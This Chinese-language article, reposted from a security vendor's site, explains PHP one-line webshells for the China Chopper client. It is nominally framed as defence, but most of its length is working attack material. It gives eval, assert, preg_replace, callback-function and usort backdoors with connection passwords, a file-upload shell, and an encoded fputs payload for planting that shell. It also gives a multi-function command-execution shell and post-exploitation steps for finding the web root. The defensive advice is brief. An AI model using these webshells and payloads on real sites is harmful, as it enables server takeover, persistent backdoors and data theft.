网站安全问题针对一句话木马函数的普析与防范

简介: 本文内容转载于Sinesafe网站安全服务http://www.sinesafe.com/article/20180608/244.htmlPHP网站安全防一句话木马入侵一、首先是菜刀一句话木马:     菜刀一句话木马的原理是调用了PHP的代码执行函数,比如以下1和2两个常见的一句话菜刀马,就是调用了eval函数、assert函数。

本文内容转载于Sinesafe网站安全服务http://www.sinesafe.com/article/20180608/244.html


PHP网站安全防一句话木马入侵

一、首先是菜刀一句话木马:
     
菜刀一句话木马的原理是调用了PHP的代码执行函数,比如以下1和2两个常见的一句话菜刀马,就是调用了eval函数、assert函数。

1、eval()函数
 

#传入的参数必须为PHP代码,既需要以分号结尾。
#命令執行:cmd=system(whoami);
#菜刀连接密码:cmd
<?php @eval($_POST['cmd']);?>

 
那么当我们上传了eval函数的菜刀马之后,在连接不上菜刀的情况下怎么上传大马呢?继续往下看这里我是先写一个上传马,再用上传马去上传大马,有点多次一举,但是考虑到大马代码量太多,还是建议先写个上传马,以下代码只有1kb。(这是根据黑客的角度去模拟进行上传木马,自然防御的方法就是针对这个eval函数的get post提交直接过滤掉。)


<?php
@$temp = $_FILES['upload_file']['tmp_name'];
@$file = basename($_FILES['upload_file']['name']);
if (empty ($file)){
echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";}else {echo "Unable to upload " . $file . ".<p>\n";}}?>

 



原理是利用文件操作函数如下:
fputs(fopen(shell.php,w),xxxx);
写入xxxx到脚本执行文件当前目录下的shell.php文件。
由于是利用post传参,不能出现【<】【>】【+】【=】【/】等符号,所以这里我们需要把代码编码一下,将上面的上传代码进行两次base64编码(为了去除=号)。
在编码的时候空格和回车都会影响编码后的结果,因此建议大家直接复制我上面的上传马或者用下面我编码好的,或者自己去慢慢尝试直到base64编码后为一串自由数字和字母的字符串即可。
接下来利用文件操作函数写入上传马,注意不要忘了最后的分号。
 

cmd=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXe
WQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYM
lpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZ
EdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1B
HbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElE
MGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDla
V3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV0
5qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc
0aU8zMTlQejQ9)));

成功得到上传马,之后就是上传我们的大马了。
 

2、assert()函数


#assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。
#命令執行:cmd=system(whoami)
#菜刀连接密码:cmd
<?php @assert($_POST['cmd'])?>

 
上传大马,这一步参考eval函数。

     其他的代码执行函数还有以下几个,均给出了菜刀一句话木马和连接方式:


(这是根据黑客的角度去模拟进行上传木马,自然防御的方法就是针对这个assert()函数的get post提交直接过滤掉。)

3、preg_replace()
 


#preg_replace('正则规则','替换字符','目标字符')
#执行命令和上传文件参考assert函数(不需要加分号)。
#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
preg_replace("/test/e",$_POST["cmd"],"jutst test");

这里可以使用chr()函数转换ASCII编码来执行代码。
#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
 

(这是根据黑客的角度去模拟进行上传木马,解决的建议方法就是针对这个preg_replace("/test/e",$_POST["函数的get post提交直接过滤掉。)

4、create_function()函数
 


#创建匿名函数执行代码
#执行命令和上传文件参考eval函数(必须加分号)。
#菜刀连接密码:cmd
$func =create_function('',$_POST['cmd']);$func();


5、array_map()函数
 


#array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
#命令执行http://localhost/123.php?func=system   cmd=whoami
#菜刀连接http://localhost/123.php?func=assert   密码:cmd
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;

 

6、call_user_func()函数
 


#传入的参数作为assert函数的参数
#cmd=system(whoami)
#菜刀连接密码:cmd
call_user_func("assert",$_POST['cmd']);


7、call_user_func_array()函数
 


#将传入的参数作为数组的第一个值传递给assert函数
#cmd=system(whoami)
#菜刀连接密码:cmd
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);


8、array_filter()函数
 


#用回调函数过滤数组中的元素:array_filter(数组,函数)
#命令执行func=system&cmd=whoami
#菜刀连接http://localhost/123.php?func=assert  密码cmd
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);


9、uasort()函数
 


#php环境>=<5.6才能用
#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
#命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
#菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密码:cmd
usort($_GET,'asse'.'rt');

Sine安全公司是一家专注于:服务器安全网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服
 
务于一体的网络安全服务提供商。


二、命令执行函数
     PHP执行系统命令的有几个常用的函数,如有:system函数、exec函数、popen函数,passthru,shell_exec函数他们都可以执行系统命令,下面是我整理的一个命令马,把常见的命令执行函数都做了一个梳理,如果大家还有什么新的思路或见解,可以一起交流交流。
 


<?php
$command=$_POST['cmd'];
#function exec_all($command)
#{
    
//system函数可执行并直接显示结果
if(function_exists('system'))
{
    echo "<pre>";
    system($command);
    echo "</pre>";
}
 
//passthru函数可执行并直接显示结果
else if(function_exists('passthru'))
{
    echo "<pre>";
    passthru($command);
    echo "</pre>";
}
 
//shell_exec函数可执行但需要加echo才能显示结果
else if(function_exists('shell_exec'))
{
    echo "<pre>";
    echo shell_exec($command);
    echo "</pre>";
}
 
//function exec(命令,以数组形式的保存结果,命令执行的状态码)
//可执行,但需要加echo才能显示结果
else if(function_exists('exec'))
{  
    echo "<pre>";
    exec($command,$output);
    echo "</br>";
    print_r($output);
    echo "</pre>";
}
 
//popen函数:打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。
//返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)
//此指针可以用于 fgets(),fgetss() 和 fwrite()。并且必须用 pclose() 来关闭。
//若出错,则返回 false。
else if(function_exists('popen'))
{
    $handle = popen($command , "r"); // Open the command pipe for reading
    if(is_resource($handle))
    {
        if(function_exists('fread') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($handle))
            {
                echo fread($handle, 1024);       
            }
            echo "</pre>";
        }
        else if(function_exists('fgets') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($handle))
            {       
                echo fgets($handle,1024);
            }
            echo "<pre>";
        }
    }
    pclose($handle);
}
 
//proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
else if(function_exists('proc_open'))
{
    $descriptorspec = array(
            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
            );
    $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
    if(is_resource($handle))
    {
        if(function_exists('fread') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($pipes[1]))
            {
                echo fread($pipes[1], 1024);       
            }
            echo "</pre>";
        }
        else if(function_exists('fgets') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($pipes[1]))
            {       
                echo fgets($pipes[1],1024);
            }
            echo "<pre>";
        }
    }
    #pclose($handle);
}
 
else
{
    echo 'GG';
}
#}

     其他函数:
暂时就知道其他两个函数,不过也都是基于以上的函数所变化的。
 
?

<?php
$cmd=$_POST['cmd'];
echo "<pre>";
 
//可执行并直接显示结果,反引号,波浪键。
//shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
//所以如果把shell_exec()函数禁用了,反撇号 (`)也是执行不了命令的。
echo `$cmd`;
 
 
//注意,这个只显示结果的第一行,因此基本只能执行whoami
//ob_start:打开缓冲区,需要system函数开启
$a = 'system';
ob_start($a);
echo "$_POST[cmd]";
ob_end_flush();
 
echo "</pre>";

     上面讲完命令执行命令,也都可以执行命令了,那么如何利用这些命令马来进一步上传脚本大马呢,这里就要涉及到一下CMD命令进行上传木马了

成功执行命令之后,首先利用【dir】命令得到网站路径,如果是mysql注入得到的os-shell也可用【dir d:\ /b】命令查找存放网站程序的路径。
 
这些一句话木马代码所用到的函数千变万化,那么我们站在黑客的角度进行防御 就要杜绝这些函数来执行上传脚本木马来对网站进行安全防范,平常也可以通过搜索这些函数来查找网站的脚本文件有无被上传这些一句话木马函数的脚本,综合上述多个代码函数的黑客入侵应用方法要对程序中的get post head提交方式进行过滤以防再次被黑客入侵。


相关文章
|
3月前
|
SQL 监控 安全
服务器安全性漏洞和常见攻击方式解析
服务器安全性漏洞和常见攻击方式解析
|
18天前
|
安全 网络安全 API
为什么黑客要攻击你的网站?如何保护网站再被攻击的情况下没有影响!!!!
2023年一季度报告显示,全球超1400万网站遭超10亿次攻击,网络安全风险上升。黑客攻击网站主要动机包括财务收益(如数据窃取、恶意软件传播)、服务中断、企业间谍、黑客行动主义、国家支持的攻击及私人原因。攻击手段涉及损坏的访问控制、开源组件的缺陷、服务器和客户端漏洞、API漏洞及共享主机风险。保护网站的措施包括持续扫描、渗透测试、同步测试与修补、集成WAAP到CI/CD、准备DDoS防御及使用垃圾邮件过滤。
|
6月前
|
SQL 安全 网络安全
10 常见网站安全攻击手段及防御方法
本文介绍了互联网上最常见的10种网络攻击,包括跨站脚本(XSS)、注入攻击、模糊测试、零日攻击、路径遍历、分布式拒绝服务(DDoS)、中间人攻击、暴力破解攻击、使用未知代码或第三方代码以及网络钓鱼。针对每种攻击,提供了相应的防护措施。保护网站免受攻击需要综合考虑不同的安全风险,并采取相应的防护措施。尽管无法完全消除攻击风险,但通过增强安全意识、更新软件、使用安全证书等方法,可以降低网站遭受攻击的可能性和后果的严重性。链接:https://baijiahao.baidu.com/sid=1712041656524695859&wfr=spider&for=pc(版权归原作者所有,侵删)
|
数据采集 移动开发 安全
网站安全公司之网站XSS攻击的危害介绍
笔者认为,这篇文章的完成,是一件高兴的事。由于本文是国内首本专门论述XSS的著作,因此本文的推出,为学习网络安全的新人提供了充足的学习材料,同时也为安全工作者提供了一份不可多得的参考手册,必将促使大家更加重视XSS安全技术。XSS攻击的危害一直未被多数开发者正确认识,甚至一些网络安全工作者也认为XSS「危害不大」。引起这一误解的原因很多。XSS攻击的危害是与特定的业务场景息息相关的。由于业务场景的不同,导致了不同的网络安全问题,其中有些场景风险大,有些场景风险小。但XSS作为一种漏洞类型,在描述其定义时很难将其定位到具体情况中。XSS攻击的危害程度,取决于业务场景的重要性程度。
229 0
网站安全公司之网站XSS攻击的危害介绍
|
监控 安全 网络协议
网站防黑客攻击的建议
安全是网站的重要组成部分。在当今互联网信息时代,网站建设是一件非常普遍的事情,黑客的攻击是无所不在。但是网络黑客对网站的攻击让很多企业头疼,所以网站的安全部分要多加注意。企业网站建设的基础是网络,没有网络我们网站建设毫无意义,但对于网络,如果我们不能做好安全保护,会给企业带来不必要的麻烦,那么如何建立更好的网络安全系统呢?今天,SINE安全技术将带您了解这些知识。
158 0
网站防黑客攻击的建议
|
安全 网络协议 关系型数据库
服务器渗透测试攻击手法介绍
服务器信息收集在渗透攻击过程中,对目标服务器的信息收集是非常重要的一步,服务器上面可以运行大量的系统服务和第三方应用服务,如果操作系统或者第三方教件没有及时升级打补丁,攻击者就有可能直接通过服务器上运行的服务进行攻击,因为服务器的错误配置或者不安全的访问控制,导致通过服务器漏洞进行攻击的案例墨见不鲜,如果数据库可以直接对外连接并且存在数据库弱口令,攻击者就可以直接通过数据库的弱口令漏洞对数据库进行连接,获取敏感数据,甚至通过数据库控制整个服务器,对内网发动攻击,服务器需要收集的信息包含三个方面:端口信息收集、程序服务版本识别和操作系统信息识别。
301 0
服务器渗透测试攻击手法介绍
|
SQL 存储 缓存
网站该如何防止不被黑客SQL注入攻击
在众多网站上线后出现的安全漏洞问题非常明显,作为网站安全公司的主管我想给大家分享下在日常网站维护中碰到的一些防护黑客攻击的建议,希望大家的网站都能正常稳定运行免遭黑客攻击。
502 0
网站该如何防止不被黑客SQL注入攻击
|
SQL 安全 前端开发
通过渗透测试服务来解决网站被黑客攻击
APP渗透测试目前包含了Android端+IOS端的漏洞检测与安全测试,前段时间某金融客户的APP被黑客恶意攻击,导致APP里的用户数据包括平台里的账号,密码,手机号,姓名都被信息泄露,通过老客户的介绍找到我们SINE安全公司寻求安全防护上的技术支持,防止后期APP被攻击以及数据篡改泄露等安全问题的发生。针对于客户发生的网站被黑客攻击以及用户资料泄露的情况,我们立即成立了SINE安全移动端APP应急响应小组,关于APP渗透测试的内容以及如何解决的问题我们做了汇总,通过这篇文章来分享给大家。
117 0
通过渗透测试服务来解决网站被黑客攻击
|
SQL 安全 关系型数据库
网站渗透测试出漏洞该怎么防范
国庆即将到来,前一期讲到获取网站信息判断所属环境以及各个端口的用处和弱口令密码利用方法,这期仍有很多客户找到我们Sine安全想要了解针对于SQL注入攻击的测试方法,这一期我们来讲解下注入的攻击分类和使用手法,让客户明白漏洞是如何产生的,会给网站安全带来怎样的影响!3.1 SQL注入漏洞 3.1.1. 注入分类 SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。
1375 0
|
Web App开发 安全 网络协议
IE极风0day漏洞危害升级 首例ARP挂马攻击已经出现
3月12日,金山安全实验室发布高危漏洞红色安全预警,12日上午8点39分,金山安全实验室率先截获了国内首例利用IE极风0day漏洞进行挂马传播的案例。这也表示IE极风0day漏洞在被发现后的短短3天时间里,已经开始被黑客利用进行传播病毒。
1141 0